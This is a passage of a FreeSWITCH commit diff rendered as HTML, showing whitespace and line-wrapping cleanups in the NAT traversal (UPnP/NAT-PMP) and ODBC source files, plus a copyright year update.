</span><span class="cx">                 err = &quot;general error&quot;;
</span><span class="lines">@@ -177,10 +177,10 @@
</span><span class="cx">         pubaddr = inet_ntoa(response.pnu.publicaddress.addr);
</span><span class="cx">         switch_copy_string(pub_addr, pubaddr, IP_LEN);
</span><span class="cx">         nat_globals.nat_type = SWITCH_NAT_TYPE_PMP;
</span><del>-        
</del><ins>+
</ins><span class="cx">         closenatpmp(&amp;natpmp);
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (err) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error checking for PMP [%s]\n&quot;, err);
</span><span class="lines">@@ -203,7 +203,7 @@
</span><span class="cx"> {
</span><span class="cx">         char *addr = NULL;
</span><span class="cx">         switch_port_t port = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) {
</span><span class="cx">                 addr = &quot;239.255.255.250&quot;;
</span><span class="cx">                 port = 1900;
</span><span class="lines">@@ -245,13 +245,13 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void *SWITCH_THREAD_FUNC switch_nat_multicast_runtime(switch_thread_t *thread, void *obj)
</del><ins>+static void *SWITCH_THREAD_FUNC switch_nat_multicast_runtime(switch_thread_t * thread, void *obj)
</ins><span class="cx"> {
</span><span class="cx">         char *buf = NULL;
</span><span class="cx">         char newip[16] = &quot;&quot;;
</span><span class="cx">         char *pos;
</span><span class="cx">         switch_event_t *event = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;NAT thread started\n&quot;);
</span><span class="cx"> 
</span><span class="cx">         buf = (char *) malloc(MULTICAST_BUFFSIZE);
</span><span class="lines">@@ -274,13 +274,13 @@
</span><span class="cx"> 
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) {
</span><span class="cx">                         /* look for our desc URL and servicetype in the packet */
</span><span class="cx">                         if (strstr(buf, nat_globals.descURL) &amp;&amp; (buf == NULL || strstr(buf, nat_globals.data.servicetype))) {
</span><span class="cx">                                 if ((pos = strstr(buf, &quot;NTS:&quot;))) {
</span><span class="cx">                                         pos = pos + 4;
</span><del>-                                        while(*pos &amp;&amp; *pos == ' ') {
</del><ins>+                                        while (*pos &amp;&amp; *pos == ' ') {
</ins><span class="cx">                                                 pos++;
</span><span class="cx">                                         }
</span><span class="cx">                                         if (!strncmp(pos, &quot;ssdp:alive&quot;, 10)) {
</span><span class="lines">@@ -288,10 +288,12 @@
</span><span class="cx">                                                 /* did pub ip change */
</span><span class="cx">                                                 newip[0] = '\0';
</span><span class="cx">                                                 if (get_upnp_pubaddr(newip) != SWITCH_STATUS_SUCCESS) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Unable to get current pubaddr after receiving UPnP keep alive packet.\n&quot;);
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                                          &quot;Unable to get current pubaddr after receiving UPnP keep alive packet.\n&quot;);
</ins><span class="cx">                                                 }
</span><span class="cx">                                         } else if (!strncmp(pos, &quot;ssdp:byebye&quot;, 11)) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;got UPnP signoff packet.  Your NAT gateway is probably going offline.\n&quot;);
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                                  &quot;got UPnP signoff packet.  Your NAT gateway is probably going offline.\n&quot;);
</ins><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;got UPnP signoff packet: \n%s\n&quot;, buf);
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;got UNKNOWN UPnP keep alive packet: \n%s\n&quot;, buf);
</span><span class="lines">@@ -304,31 +306,31 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Unable to get current pubaddr after receiving UPnP keep alive packet.\n&quot;);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((strlen(newip) &gt; 0) &amp;&amp; strcmp(newip, &quot;0.0.0.0&quot;) &amp;&amp; strcmp(newip, nat_globals.pub_addr)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Public IP changed from '%s' to '%s'.\n&quot;, nat_globals.pub_addr, newip);
</span><span class="cx">                         do_repub = SWITCH_TRUE;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_event_create(&amp;event, SWITCH_EVENT_TRAP);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;condition&quot;, &quot;network-address-change&quot;);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;network-address-previous-v4&quot;, nat_globals.pub_addr);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;network-address-change-v4&quot;, newip);
</span><span class="cx">                         switch_event_fire(&amp;event);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_set_string(nat_globals.pub_addr, newip);
</span><span class="cx">                         switch_nat_reinit();
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (do_repub) {
</span><span class="cx">                         switch_nat_republish();
</span><del>-                } 
</del><ins>+                }
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;NAT thread ending\n&quot;);
</span><span class="cx">         nat_globals_perm.running = 0;
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(buf);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -343,7 +345,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unable to initialize NAT thread\n&quot;);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_threadattr_create(&amp;thd_attr, nat_globals_perm.pool);
</span><span class="cx">         switch_threadattr_detach_set(thd_attr, 1);
</span><span class="cx">         switch_thread_create(&amp;nat_thread_p, thd_attr, switch_nat_multicast_runtime, NULL, nat_globals_perm.pool);
</span><span class="lines">@@ -352,7 +354,7 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_nat_thread_stop(void)
</span><span class="cx"> {
</span><span class="cx">         /* don't do anything if no thread ptr */
</span><del>-        if (!nat_thread_p ) {
</del><ins>+        if (!nat_thread_p) {
</ins><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Stopping NAT Task Thread\n&quot;);
</span><span class="lines">@@ -361,18 +363,18 @@
</span><span class="cx">                 switch_status_t st;
</span><span class="cx"> 
</span><span class="cx">                 nat_globals_perm.running = -1;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_join(&amp;st, nat_thread_p);
</span><span class="cx"> 
</span><span class="cx">                 while (nat_globals_perm.running) {
</span><del>-                        switch_yield(1000000); /* can take up to 5s for the thread to terminate, so wait for 10 */
</del><ins>+                        switch_yield(1000000);        /* can take up to 5s for the thread to terminate, so wait for 10 */
</ins><span class="cx">                         if (++sanity &gt; 10) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Timed out waiting for NAT Task Thread to stop\n&quot;);
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         nat_thread_p = NULL;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -380,16 +382,16 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_nat_init(switch_memory_pool_t *pool)
</span><span class="cx"> {
</span><span class="cx">         /* try free dynamic data structures prior to resetting to 0 */
</span><del>-        FreeUPNPUrls(&amp;nat_globals.urls); 
</del><ins>+        FreeUPNPUrls(&amp;nat_globals.urls);
</ins><span class="cx">         switch_safe_free(nat_globals.descURL);
</span><span class="cx"> 
</span><span class="cx">         memset(&amp;nat_globals, 0, sizeof(nat_globals));
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (first_init) {
</span><span class="cx">                 memset(&amp;nat_globals_perm, 0, sizeof(nat_globals_perm));
</span><span class="cx">                 nat_globals_perm.pool = pool;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_find_local_ip(nat_globals.pvt_addr, sizeof(nat_globals.pvt_addr), NULL, AF_INET);
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -401,12 +403,13 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Checking for UPnP\n&quot;);
</span><span class="cx">                 init_upnp();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (nat_globals.nat_type) {
</span><span class="cx">                 switch_core_set_variable(&quot;nat_public_addr&quot;, nat_globals.pub_addr);
</span><span class="cx">                 switch_core_set_variable(&quot;nat_private_addr&quot;, nat_globals.pvt_addr);
</span><span class="cx">                 switch_core_set_variable(&quot;nat_type&quot;, nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? &quot;pmp&quot; : &quot;upnp&quot;);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;NAT detected type: %s, ExtIP: '%s'\n&quot;, nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? &quot;pmp&quot; : &quot;upnp&quot;, nat_globals.pub_addr);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;NAT detected type: %s, ExtIP: '%s'\n&quot;,
+                                                  nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? &quot;pmp&quot; : &quot;upnp&quot;, nat_globals.pub_addr);
</ins><span class="cx"> 
</span><span class="cx">                 if (!nat_thread_p) {
</span><span class="cx">                         switch_nat_thread_start();
</span><span class="lines">@@ -418,7 +421,7 @@
</span><span class="cx">         initialized = SWITCH_TRUE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t switch_nat_add_mapping_pmp(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port)
</del><ins>+static switch_status_t switch_nat_add_mapping_pmp(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t * external_port)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         natpmpresp_t response;
</span><span class="lines">@@ -426,7 +429,7 @@
</span><span class="cx">         natpmp_t natpmp;
</span><span class="cx"> 
</span><span class="cx">         initnatpmp(&amp;natpmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (proto == SWITCH_NAT_TCP) {
</span><span class="cx">                 sendnewportmappingrequest(&amp;natpmp, NATPMP_PROTOCOL_TCP, port, port, 31104000);
</span><span class="cx">         } else if (proto == SWITCH_NAT_UDP) {
</span><span class="lines">@@ -441,29 +444,27 @@
</span><span class="cx">                 getnatpmprequesttimeout(&amp;natpmp, &amp;timeout);
</span><span class="cx">                 select(FD_SETSIZE, &amp;fds, NULL, NULL, &amp;timeout);
</span><span class="cx">                 r = readnatpmpresponseorretry(&amp;natpmp, &amp;response);
</span><del>-        } while(r == NATPMP_TRYAGAIN);
</del><ins>+        } while (r == NATPMP_TRYAGAIN);
</ins><span class="cx"> 
</span><span class="cx">         if (r == 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;mapped public port %hu protocol %s to localport %hu\n&quot;,
</span><span class="cx">                                                   response.pnu.newportmapping.mappedpublicport,
</span><span class="cx">                                                   response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? &quot;UDP&quot; :
</span><del>-                                                  (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? &quot;TCP&quot; : &quot;UNKNOWN&quot;),
-                                                  response.pnu.newportmapping.privateport);
</del><ins>+                                                  (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? &quot;TCP&quot; : &quot;UNKNOWN&quot;), response.pnu.newportmapping.privateport);
</ins><span class="cx">                 if (external_port) {
</span><span class="cx">                         *external_port = response.pnu.newportmapping.mappedpublicport;
</span><span class="cx">                 } else if (response.pnu.newportmapping.mappedpublicport != response.pnu.newportmapping.privateport) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;External port %hu protocol %s was not available, it was instead mapped to %hu&quot;,
</span><del>-                                response.pnu.newportmapping.privateport,
-                                response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? &quot;UDP&quot; :
-                                  (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? &quot;TCP&quot; : &quot;UNKNOWN&quot;),
-                                response.pnu.newportmapping.mappedpublicport);
</del><ins>+                                                          response.pnu.newportmapping.privateport,
+                                                          response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? &quot;UDP&quot; :
+                                                          (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? &quot;TCP&quot; : &quot;UNKNOWN&quot;), response.pnu.newportmapping.mappedpublicport);
</ins><span class="cx">                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         closenatpmp(&amp;natpmp);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -486,7 +487,7 @@
</span><span class="cx">         if (r == UPNPCOMMAND_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;mapped public port %s protocol %s to localport %s\n&quot;, port_str,
</span><span class="cx">                                                   (proto == SWITCH_NAT_TCP) ? &quot;TCP&quot; : (proto == SWITCH_NAT_UDP ? &quot;UDP&quot; : &quot;UNKNOWN&quot;), port_str);
</span><del>-                                                  status = SWITCH_STATUS_SUCCESS;
</del><ins>+                status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -498,7 +499,7 @@
</span><span class="cx">         natpmpresp_t response;
</span><span class="cx">         int r;
</span><span class="cx">         natpmp_t natpmp;
</span><del>-        
</del><ins>+
</ins><span class="cx">         initnatpmp(&amp;natpmp);
</span><span class="cx"> 
</span><span class="cx">         if (proto == SWITCH_NAT_TCP) {
</span><span class="lines">@@ -515,17 +516,15 @@
</span><span class="cx">                 getnatpmprequesttimeout(&amp;natpmp, &amp;timeout);
</span><span class="cx">                 select(FD_SETSIZE, &amp;fds, NULL, NULL, &amp;timeout);
</span><span class="cx">                 r = readnatpmpresponseorretry(&amp;natpmp, &amp;response);
</span><del>-        } while(r == NATPMP_TRYAGAIN);
</del><ins>+        } while (r == NATPMP_TRYAGAIN);
</ins><span class="cx"> 
</span><span class="cx">         if (r == 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;unmapped public port %hu protocol %s to localport %hu\n&quot;,
-                                                  response.pnu.newportmapping.privateport, /* This might be wrong but its so 0 isn't displayed */
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;unmapped public port %hu protocol %s to localport %hu\n&quot;, response.pnu.newportmapping.privateport,        /* This might be wrong but its so 0 isn't displayed */
</ins><span class="cx">                                                   response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? &quot;UDP&quot; :
</span><del>-                                                  (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? &quot;TCP&quot; : &quot;UNKNOWN&quot;),
-                                                  response.pnu.newportmapping.privateport);
</del><ins>+                                                  (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? &quot;TCP&quot; : &quot;UNKNOWN&quot;), response.pnu.newportmapping.privateport);
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         closenatpmp(&amp;natpmp);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -553,11 +552,12 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping_internal(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky, switch_bool_t publish)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping_internal(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t * external_port,
+                                                                                                                                switch_bool_t sticky, switch_bool_t publish)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">         switch_event_t *event = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch (nat_globals.nat_type) {
</span><span class="cx">         case SWITCH_NAT_TYPE_PMP:
</span><span class="cx">                 status = switch_nat_add_mapping_pmp(port, proto, external_port);
</span><span class="lines">@@ -572,9 +572,9 @@
</span><span class="cx">         default:
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (publish &amp;&amp; status == SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_event_create(&amp;event, SWITCH_EVENT_NAT);        
</del><ins>+                switch_event_create(&amp;event, SWITCH_EVENT_NAT);
</ins><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;op&quot;, &quot;add&quot;);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;port&quot;, &quot;%d&quot;, port);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;proto&quot;, &quot;%d&quot;, proto);
</span><span class="lines">@@ -585,7 +585,8 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t *external_port, switch_bool_t sticky)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_nat_add_mapping(switch_port_t port, switch_nat_ip_proto_t proto, switch_port_t * external_port,
+                                                                                                           switch_bool_t sticky)
</ins><span class="cx"> {
</span><span class="cx">         return switch_nat_add_mapping_internal(port, proto, external_port, sticky, SWITCH_TRUE);
</span><span class="cx"> }
</span><span class="lines">@@ -607,13 +608,13 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (status == SWITCH_STATUS_SUCCESS) {
</span><del>-                switch_event_create(&amp;event, SWITCH_EVENT_NAT);        
</del><ins>+                switch_event_create(&amp;event, SWITCH_EVENT_NAT);
</ins><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;op&quot;, &quot;del&quot;);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;port&quot;, &quot;%d&quot;, port);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;proto&quot;, &quot;%d&quot;, proto);
</span><span class="cx">                 switch_event_fire(&amp;event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -626,15 +627,15 @@
</span><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Refreshing nat maps\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_api_execute(&quot;show&quot;, &quot;nat_map as xml&quot;, NULL, &amp;stream);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(natxml = switch_xml_parse_str_dup(stream.data))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unable to parse XML: %s\n&quot;, (char *) stream.data);
</span><span class="cx">                 switch_safe_free(stream.data);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* iterate the xml and publish the mappings */
</span><span class="cx">         row = switch_xml_find_child(natxml, &quot;row&quot;, &quot;row_id&quot;, &quot;1&quot;);
</span><span class="cx">         while (row != NULL) {
</span><span class="lines">@@ -649,18 +650,18 @@
</span><span class="cx">                 if ((child = switch_xml_child(row, &quot;proto_num&quot;))) {
</span><span class="cx">                         sproto = child-&gt;txt;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sport &amp;&amp; sproto) {
</span><del>-                        port = (switch_port_t)(atoi(sport));
-                        proto = (switch_nat_ip_proto_t)(atoi(sproto));
-                        switch_nat_add_mapping_internal(port, proto, NULL, SWITCH_FALSE, SWITCH_FALSE); 
</del><ins>+                        port = (switch_port_t) (atoi(sport));
+                        proto = (switch_nat_ip_proto_t) (atoi(sproto));
+                        switch_nat_add_mapping_internal(port, proto, NULL, SWITCH_FALSE, SWITCH_FALSE);
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unable to parse port/proto info: XML: %s\n&quot;, (char *) stream.data);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 row = switch_xml_next(row);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">         switch_xml_free(natxml);
</span><span class="cx"> }
</span><span class="lines">@@ -669,14 +670,14 @@
</span><span class="cx"> {
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><del>-        
-        stream.write_function(&amp;stream, &quot;Nat Type: %s, ExtIP: %s\n&quot;, 
-                                                        (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) ? &quot;UPNP&quot; : (nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? &quot;NAT-PMP&quot; : &quot;UNKNOWN&quot;),
-                                                        nat_globals.pub_addr);
</del><span class="cx"> 
</span><ins>+        stream.write_function(&amp;stream, &quot;Nat Type: %s, ExtIP: %s\n&quot;,
+                                                  (nat_globals.nat_type == SWITCH_NAT_TYPE_UPNP) ? &quot;UPNP&quot; : (nat_globals.nat_type == SWITCH_NAT_TYPE_PMP ? &quot;NAT-PMP&quot; : &quot;UNKNOWN&quot;),
+                                                  nat_globals.pub_addr);
+
</ins><span class="cx">         switch_api_execute(&quot;show&quot;, &quot;nat_map&quot;, NULL, &amp;stream);
</span><del>-        
-        return stream.data; /* caller frees */
</del><ins>+
+        return stream.data;                        /* caller frees */
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_bool_t) switch_nat_is_initialized(void)
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_odbcc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_odbc.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_odbc.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_odbc.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -45,7 +45,7 @@
</span><span class="cx"> 
</span><span class="cx"> #if (ODBCVER &lt; 0x0300)
</span><span class="cx"> #define SQL_NO_DATA SQL_SUCCESS
</span><del>-#endif 
</del><ins>+#endif
</ins><span class="cx"> 
</span><span class="cx"> struct switch_odbc_handle {
</span><span class="cx">         char *dsn;
</span><span class="lines">@@ -98,7 +98,6 @@
</span><span class="cx">                 switch_safe_free(new_handle-&gt;password);
</span><span class="cx">                 switch_safe_free(new_handle);
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #endif
</span><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="lines">@@ -177,10 +176,10 @@
</span><span class="cx">                 code = __LINE__;
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><del>-        
-        SQLRowCount (stmt, &amp;m);
-        rc = SQLNumResultCols (stmt, &amp;nresultcols);
-        if (rc != SQL_SUCCESS){
</del><ins>+
+        SQLRowCount(stmt, &amp;m);
+        rc = SQLNumResultCols(stmt, &amp;nresultcols);
+        if (rc != SQL_SUCCESS) {
</ins><span class="cx">                 code = __LINE__;
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><span class="lines">@@ -241,9 +240,9 @@
</span><span class="cx"> }
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t * stmt)
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_statement_handle_free(switch_odbc_statement_handle_t *stmt)
</ins><span class="cx"> {
</span><del>-        if (!stmt || ! *stmt) {
</del><ins>+        if (!stmt || !*stmt) {
</ins><span class="cx">                 return SWITCH_ODBC_FAIL;
</span><span class="cx">         }
</span><span class="cx"> #ifdef SWITCH_HAVE_ODBC
</span><span class="lines">@@ -332,7 +331,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 handle-&gt;is_firebird = FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG1, &quot;Connected to [%s]\n&quot;, handle-&gt;dsn);
</span><span class="cx">         handle-&gt;state = SWITCH_ODBC_STATE_CONNECTED;
</span><span class="cx">         return SWITCH_ODBC_SUCCESS;
</span><span class="lines">@@ -341,11 +340,7 @@
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle,
-                                                                                                                                        const char *sql,
-                                                                                                                                        char *resbuf,
-                                                                                                                                        size_t len,
-                                                                                                                                        char **err)
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec_string(switch_odbc_handle_t *handle, const char *sql, char *resbuf, size_t len, char **err)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef SWITCH_HAVE_ODBC
</span><span class="cx">         switch_odbc_status_t sstatus = SWITCH_ODBC_FAIL;
</span><span class="lines">@@ -357,7 +352,7 @@
</span><span class="cx">                 SQLSMALLINT NameLength, DataType, DecimalDigits, Nullable;
</span><span class="cx">                 SQLULEN ColumnSize;
</span><span class="cx">                 int result;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 SQLRowCount(stmt, &amp;m);
</span><span class="cx"> 
</span><span class="cx">                 if (m &lt;= 0) {
</span><span class="lines">@@ -366,20 +361,20 @@
</span><span class="cx"> 
</span><span class="cx">                 result = SQLExecute(stmt);
</span><span class="cx">                 result = SQLFetch(stmt);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (result != SQL_SUCCESS &amp;&amp; result != SQL_SUCCESS_WITH_INFO &amp;&amp; result != SQL_NO_DATA) {
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 SQLDescribeCol(stmt, 1, name, sizeof(name), &amp;NameLength, &amp;DataType, &amp;ColumnSize, &amp;DecimalDigits, &amp;Nullable);
</span><span class="cx">                 SQLGetData(stmt, 1, SQL_C_CHAR, (SQLCHAR *) resbuf, (SQLLEN) len, NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 sstatus = SWITCH_ODBC_SUCCESS;
</span><span class="cx">         } else {
</span><span class="cx">                 return sstatus;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx">         switch_odbc_statement_handle_free(&amp;stmt);
</span><span class="cx">         return sstatus;
</span><span class="cx"> #else
</span><span class="lines">@@ -387,7 +382,8 @@
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt, char **err)
</del><ins>+SWITCH_DECLARE(switch_odbc_status_t) switch_odbc_handle_exec(switch_odbc_handle_t *handle, const char *sql, switch_odbc_statement_handle_t *rstmt,
+                                                                                                                         char **err)
</ins><span class="cx"> {
</span><span class="cx"> #ifdef SWITCH_HAVE_ODBC
